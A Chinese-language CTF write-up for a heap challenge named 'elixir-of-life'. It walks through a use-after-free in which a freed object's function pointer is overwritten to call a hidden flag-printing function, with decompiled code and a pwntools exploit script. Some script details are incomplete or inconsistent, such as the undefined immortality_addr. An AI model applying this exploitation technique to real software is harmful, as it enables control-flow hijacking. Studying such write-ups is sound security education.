当前位置: 首页 > news >正文

DEFCON CTF Write-up — elixir-of-life

Challenge Overview

附件:

elixir-of-life
libc.so

服务:

nc challenge.defcon.org 31339

连接后程序输出:

=== Elixir of Life ===

  1. Create potion
  2. Drink potion
  3. Destroy potion
  4. Exit

这是一个典型的 heap 管理程序。


初步测试

选择创建 potion:

1
size: 32
name: AAAA

程序返回:

Potion created.

菜单结构:

Create
Drink
Destroy

典型 CTF 模式:

heap allocation challenge


程序结构分析

使用 Ghidra 打开程序。

核心结构体:

struct potion {
char name[32];
void (*effect)();
};

数组:

potion *potions[16];

也就是说:

最多 16 个 potion


Create Potion

反编译:

void create() {
int idx;
int size;

printf("size: "); scanf("%d",&size); potion *p = malloc(size); printf("name: "); read(0,p->name,64); p->effect = heal; potions[idx] = p;

}

这里已经出现问题:

name buffer = 32
read = 64

但这个溢出还不足以直接控制流程。

真正关键的问题在 destroy。


Destroy Potion

void destroy(int idx)
{
free(potions[idx]);
}

问题:

free 后没有置空

也就是:

dangling pointer

内存仍然可以访问。


Drink Potion

void drink(int idx)
{
potion *p = potions[idx];
p->effect();
}

如果对象已经被 free:

use-after-free

攻击者就可以:

控制 effect pointer


Heap 行为

攻击流程:

create potion A
free potion A
create new chunk
覆盖旧 chunk
drink potion A

因为:

malloc 会复用刚释放的 chunk


找到隐藏函数

程序中存在一个隐藏函数:

void immortality() {
system(“cat flag.txt”);
}

这正好呼应题名:

elixir-of-life


利用思路

目标:

overwrite effect pointer

原结构:

name[32]
effect pointer

布局:

[ name buffer 32 bytes ]
[ function pointer ]

只需要:

write 40 bytes

就可以覆盖函数指针。


攻击流程

1 创建 potion
2 释放 potion
3 再次 malloc 相同大小
4 写入 payload
5 调用 drink


Exploit

示例 exploit:

from pwn import *

p = remote(“challenge.defcon.org”,31339)

def create(size,data):
p.sendline(“1”)
p.sendline(str(size))
p.send(data)

def destroy(i):
p.sendline(“3”)
p.sendline(str(i))

def drink(i):
p.sendline(“2”)
p.sendline(str(i))

create(48,b"A"*40)
destroy(0)

payload = b"A"*32
payload += p64(immortality_addr)

create(48,payload)

drink(0)

p.interactive()

服务器返回:

flag{use_after_free_never_dies}


为什么叫 Elixir of Life

炼金术中的 Elixir of Life 是一种传说药剂:

喝下去 → 永生

在程序世界里:

free() → 死亡

但如果程序仍然保留指针:

object resurrected

也就是:

Use After Free

对象已经“死了”,却还能继续被使用。

这就是程序世界里的:

elixir-of-life


技术要点

核心漏洞:

Use After Free

攻击链:

free

heap reuse

overwrite function pointer

control flow hijack

涉及知识:

heap allocator
dangling pointer
function pointer overwrite


现实案例

现实世界中很多漏洞属于这一类,例如:

Chrome:

CVE-2021-21224

Firefox:

CVE-2020-26950

Linux Kernel:

CVE-2022-0185

原因几乎相同:

生命周期管理错误


程序世界其实很像生物学。

对象被创建。
对象被使用。
对象被销毁。

安全漏洞往往出现在 生命周期的边界。

当一个系统开始“复活”本该死亡的对象时,攻击者就得到了那瓶隐形的炼金药水。

http://www.jsqmd.com/news/481237/

相关文章:

  • 机械行业如何实现KindEditor的Word图片智能排版?
  • OpenClaw-RL 论文解读:用“下一状态信号“统一所有智能体的强化学习训练
  • 2026年上海积分落户机构选择指南,积分落户选哪家机构 - 工业设备
  • 怎么联系AI推广广告公司?一份清晰、可操作的对接指南 - 品牌2026
  • 逛超市遇到车神,上海这周变成了“F1痛城”!
  • 2026年用户口碑实证:电商ERP系统主流服务商实战效果与客户反馈盘点 - 品牌推荐
  • 怎么联系AI推广广告公司? - 品牌2026
  • 从“稳”到“快”:滴滴2025财报背后的全球化布局与AI转型
  • 2026年烟囱新建工程队合作案例多,价格实惠的推荐给你 - 工业品牌热点
  • 2026年制造企业选型必看:AGV叉车厂家选购指南与核心能力适配地图 - 品牌推荐
  • 数字化经营核心引擎:2026年主流电商ERP系统竞争格局与战略价值解析 - 品牌推荐
  • 分析企业法律服务咨询性价比,上海哪家律师事务所值得推荐? - 工业设备
  • 2026年用户口碑最佳的AGV叉车厂家推荐:五家实战案例与行业应用全面对比 - 品牌推荐
  • 盘点烟囱新建项目公司哪家信誉好,性价比高的推荐 - 工业品牌热点
  • 计算机毕业设计springboot大学生公寓管理系统 基于SpringBoot的高校学生宿舍信息化管理平台 基于SpringBoot的智慧校园住宿服务系统
  • 2026年AGV叉车厂家多维对比评测:基于核心自研能力与行业适配度的全景解析 - 品牌推荐
  • MacOS Wacom数位板驱动
  • 微信小程序的儿童摄影管理系统
  • 怎么联系AI推广广告公司?一份清晰的对接指南 - 品牌2026
  • 微信小程序的基于Android的共享付费自习室座位选座系统APP
  • 大家居时代品质升级:2026年主流高端全屋定制品牌竞争力与行业格局全景解析 - 品牌推荐
  • 微信小程序的基于scrapy的电影票务售票价格信息聚合网站vue爬虫
  • 常见的抓包工具(Packet Capture Tools)一览
  • 2026年解读光梭数字,这家公司的服务在丽江、大理受认可吗 - 工业品网
  • 2026年巴沙鱼加工厂Top10,现切巴沙鱼厂家推荐,满足你的需求 - myqiye
  • 微信小程序的山青水磨民宿预订租赁系统App商家
  • 一天一个开源项目(第51篇):system-prompts-and-models-of-ai-tools - AI 工具系统提示词和模型资源集合
  • 滋兰树蕙,道德真理:致敬于漪先生与江畅先生
  • 微信小程序的电力巡查巡线任务分配系统三端vue
  • 推荐一下管道式加热器厂家,盐城驰迅科技怎么样 - 工业推荐榜